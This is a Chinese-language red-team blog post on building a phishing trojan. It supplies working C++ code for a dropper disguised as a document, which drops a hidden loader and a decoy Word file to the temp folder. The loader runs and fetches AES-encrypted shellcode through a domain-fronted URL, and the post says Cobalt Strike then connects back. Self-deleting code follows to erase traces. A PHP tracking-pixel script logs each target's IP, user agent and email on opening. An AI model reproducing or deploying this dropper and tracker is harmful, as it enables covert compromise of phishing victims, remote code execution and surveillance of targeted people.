本文主要分享钓鱼马的制作思路,也都是尝试,经验不够丰富 。关于邮件投递的问题,后续我们展开来讲。
在红队工作中,往往长时间无法打到一个据点,鱼叉攻击会是最常见的攻击快速的手段,根据场景制定不同的邮件样本会得到意想不到的效果。
0x01 木马思路
将样本自身图标伪装成图片或文档,运行样本之后释放资源中的相应的DOC文档以及加载器并设置隐藏文件属性,然后创建进程远程请求域前置服务端解密shellcode并加载到内存中运行,依次打开用于社工掩护的word文档迷惑目标,程序判断运行完毕并删除自身。
实现流程
开发工具:Visual Studio 2017
一、资源释放
思路:①加载文件到工程中,②使用函数查找资源,③创建文件,④写入资源。
1.在项目工程上点击右键,选择“添加资源”;
2.选择”导入”项,选择“所有文件”,选择要导入的文件
3.会弹出命名自定义资源类型的对话框,自定义我们的资源类型;
4.点击确定后,完成导入,”Ctrl+S”保存二进制资源文件;
5.可以在自动添加的“resource.h”头文件中看到资源ID宏;
6.编程实现载入资源。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| #include <iostream> #include <cstdio> #include <cstdlib> #include <Windows.h> #include "resource.h" using namespace std; typedef VOID(*Func)(VOID); char *randstr(char *str, const int len) { srand(time(NULL)); int i; for (i = 0; i < len; ++i) { switch ((rand() % 3)) { case 1: str[i] = 'A' + rand() % 26; break; case 2: str[i] = 'a' + rand() % 26; break; default: str[i] = '0' + rand() % 10; break; } } str[i] = '\0'; return str; }
BOOL ReleaseLibrary(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName) { // 找到资源 HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(uResourceId), szResourceType); // 获取资源大小 DWORD dwSize = SizeofResource(NULL, hRsrc);
// 载入资源 HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
// 锁定资源,并返回指向资源第一字节的指针 LPVOID lpRes = LockResource(hGlobal); HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwWriten = 0; BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL); CloseHandle(hFile); CloseHandle(hGlobal); CloseHandle(hRsrc); return TRUE; }
int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { char name[20]; char *exe = randstr(name, 8); ZeroMemory(SaveFile, MAX_PATH); GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH); const char * FileName = "\\"; strcat_s(SaveFile, FileName); strcat_s(SaveFile, exe); strcat_s(SaveFile, TEXT(".exe")); BOOL wRes = ReleaseLibrary(IDR_KKKPPC1, (CHAR*)"KKKPPC", (CHAR*)SaveFile); BOOL bRes = ReleaseLibrary(IDR_LGASD1, (CHAR*)"LGASD", (CHAR*)"关于XXXXX.docx");
}
|
运行样本之后,在%TEMP%目录下释放shellcode加载器以及相应内容的DOC文档,
二、文件隐蔽
使用Attrib +s +h命令把原本的文件增加了系统文件属性、隐藏文件属性。
这样该文件就不能在目录中被发现,但是仍然存在可以访问
1
| attrib C:\Users\ThinkPad\AppData\Local\Temp\jqR78D62.exe +s +h
|
三、创建进程
使用CreateProcess()创建进程,这里配合的是unkonw师傅的[shellcode远程加载器改造计划],去配合DoaminFronting 远程动态AES加密加载shellcode。
https://mp.weixin.qq.com/s/Zs_fCqZfzdzHTwVPvshFyQ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(si) }; si.cb = sizeof(si); si.wShowWindow = TRUE; strcat_s(SaveFile, TEXT(" http://qq.com/api DomainFronting")); BOOL bRet = CreateProcess( NULL,//不在此指定可执行文件的文件名 SaveFile,//命令行参数 NULL,//默认进程安全性 NULL,//默认进程安全性 FALSE,//指定当前进程内句柄不可以被子进程继承 CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口 NULL,//使用本进程的环境变量 NULL,//使用本进程的驱动器和目录 &si, &pi);
|
最后打开诱饵文件,此时cobalt strike已经成功上线。
1
| ShellExecute(NULL, "open", "关于XXXXX.docx", NULL, NULL, SW_SHOW);
|
四、痕迹清除
删除自身程序代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| // this is the name of the temporary .bat file static const char tempbatname[] = "_uninsep.bat" ;
void Selfdestruct() { // temporary .bat file static char templ[] = ":Repeat\r\n" "del \"%s\"\r\n" "if exist \"%s\" goto Repeat\r\n" "rmdir \"%s\"\r\n" "del \"%s\"" ;
char modulename[_MAX_PATH] ; // absolute path of calling .exe file char temppath[_MAX_PATH] ; // absolute path of temporary .bat file char folder[_MAX_PATH] ;
GetTempPath(_MAX_PATH, temppath) ; strcat(temppath, tempbatname) ;
GetModuleFileName(NULL, modulename, MAX_PATH) ; strcpy (folder, modulename) ; char *pb = strrchr(folder, '\\'); if (pb != NULL) *pb = 0 ;
HANDLE hf ; hf = CreateFile(temppath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) ; if (hf != INVALID_HANDLE_VALUE) { DWORD len ; char *bat ;
bat = (char*)alloca(strlen(templ) + strlen(modulename) * 2 + strlen(temppath) + 20) ;
wsprintf(bat, templ, modulename, modulename, folder, temppath) ;
WriteFile(hf, bat, strlen(bat), &len, NULL) ; CloseHandle(hf) ;
ShellExecute(NULL, "open", temppath, NULL, NULL, SW_HIDE); } }
|
假设要销毁自身的可执行文件位于c:\ myfolder \ selfdestruct.exe中。该Selfdestruct()
函数将在计算机的temp文件夹中创建以下.bat文件,然后启动它:
1 2 3 4 5
| :Repeat del "c:\myfolder\selfdestruct.exe" if exist "c:\myfolder\selfdestruct.exe" goto Repeat rmdir "c:\myfolder" del "c:\temp\_uninsep.bat" ;
|
.bat文件将循环删除c:\ myfolder \ selfdestruct.exe,直到最终成功(即selfdestruct.exe完成执行后。)然后尝试删除包含的文件夹(此处为c:\ myfolder),只有当它为空时才起作用,最后将其自身删除。
效果演示
鱼竿感知
如果平常去河边钓鱼,要使用浮漂才会知道这条河是否有鱼吃饵料,同理当邮件投递出去后,判断目标是否点击了邮件,不至于那么的苦等,这里我丢一个简单的demo,实际上它是可以写成一个框架的。
stat.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| <?php include "c/functions.php"; include "c/db.php";
$vrfy=get_request( false, "vrfy"); if ( $vrfy<>"" ){ echo "Vrfy OK"; exit; } pub_getstatparas( $mail_id, $email, $randcode );
//function pub_getstatparas( &$amailid, &$aemail, &$arandcode ){ // $p = get_request( false, "p" ); // // if (strlen($p)>0 ){ // //解密 BASE64 // $p = base64_decode( $p ); // $paras = explode( "?", $p ); // $npara = count( $paras )-1; // // $arandcode=0; // if ( $npara >= 1 ){ // $amailid = $paras[0]; // $aemail = $paras[1]; // if ( $npara >= 2 ){ // $arandcode = $paras[2]; // } // } // // $amailid = URLDecode( $amailid ); // // if ( ! is_numeric( $arandcode ) ) // $arandcode = 0; // // //防止标识超过长度限制 // if ( strLen( $amailid)>20 ) // $amailid = substr( $amailid, 0, 20 ); // } //}
$berror = false; //' 记录统计 if ( $mail_id<>"" and strlen($mail_id)>0 and strpos( $email, "@" )>1 ){ //'读取黑白名单设置 $badd = get_isadd( $mail_id, $email ); //' 需要添加记录 if ( $badd ){ $cls_db = new class_database; $cls_db->OpenConnect(); $cmd = "SELECT * FROM `stat` WHERE mail_id=?;"; $p = array ( $mail_id ); $cls_db->getrecords( $cmd, $p, $db ); //'添加统计记录 $rs = $db->fetch(); if ( $rs ) { $id = $rs["id"]; $n = $rs["mail_read"]; $n ++; $n = $cls_db->execsql( "UPDATE stat SET mail_read=$n WHERE id=$id" );
// 判断 list 表中是否有这个地址 $cmd = "SELECT * FROM [list] WHERE mailid=? AND email=? LIMIT 0,1;"; $p = array ( $id, $email ); $cls_db->getrecords($cmd, $p, $db2); $rs2 = $db2->fetch(); if ( !$rs2 ) { $n = $rs["mail_read_2"]; $n++; $n = $cls_db->execsql( "UPDATE stat SET mail_read_2=$n WHERE id=$id" ); } } else{ $mt = $cls_db->m_connect->prepare( "INSERT INTO stat(mail_id, mail_read, mail_read_2) VALUES(?, 1, 1)"); $mt->execute( array( $mail_id ) ); } // 重新获取ID $cmd = "SELECT * FROM `stat` WHERE mail_id=?;"; $p = array ( $mail_id ); $cls_db->getrecords( $cmd, $p, $db ); $rs = $db->fetch(); $id = $rs["id"];
//'添加详细记录 try{ //var_dump( $_SERVER ); $ip = $_SERVER['REMOTE_ADDR']; $agent = $_SERVER["HTTP_USER_AGENT"]; $t = date('Y-m-d H:i:s',time()); $mt = $cls_db->m_connect->prepare( "INSERT INTO list(mailid, ip, client, email, date, randcode) VALUES(?, ?, ?, ?, ?, ? );"); $mt->execute( array( $id, $ip, $agent, $email, $t, $randcode) ); }catch(PDOException $e) { echo $e->getMessage(); $berror = true; } $cls_db->CloseConnect(); } } if ( ! $berror ) { header( "Content-Type: image/gif" ); readfile("images/blank.gif"); exit; } ?>
|
实现流程:
一、在邮件中插入一张图片,这里通过php中的readfile() 函数读取本地图片,这里的图片可以使用目标公司的logo,并写入到输出缓冲。
http://xx.xx.xx.xx.xx/stat.php?p=U0NDV18xMz8yMDA2QDE2My5jb20/NjI3MzY=
U0NDV18xMz8yMDA2QDE2My5jb20/NjI3MzY= base64加密的内容格式为:
邮件标识|接受邮箱|随机码
SCCW_13?2006@163.com?62736
二、当目标出网的情况下,点击邮件浏览器发出HTTP请求图片,后端处理前端发送过来的参数并进行展示。
结语
就说到这里~ 如果有意向可以一起交流。